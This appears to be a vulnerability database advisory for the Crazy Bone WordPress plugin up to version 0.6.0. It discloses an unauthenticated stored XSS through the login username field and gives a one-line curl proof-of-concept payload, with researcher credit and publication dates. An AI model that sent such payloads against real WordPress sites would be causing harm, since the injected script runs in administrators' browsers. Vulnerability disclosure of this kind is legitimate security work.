WordPress Plugin Vulnerabilities

Crazy Bone <= 0.6.0 - Unauthenticated Stored XSS

Description

The plugin does not sanitise and escape the username submitted via the login from when displaying them back in the log dashboard, leading to an unauthenticated Stored Cross-Site scripting

Proof of Concept

curl 'https://example.com/wp-login.php' --data-raw 'log=a<img src onerror=alert(/XSS/)>&pwd=x&wp-submit=Log+In'

The XSS will be trigged in the 'All User' section of the Login Log: https://example.com/wp-admin/users.php?page=crazy-bone%2Fplugin.php&user_id=-1&status

Affects Plugins

No known fix

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-01-31 (about 2 years ago)
Added
2022-01-31 (about 2 years ago)
Last Updated
2022-04-12 (about 2 years ago)

Other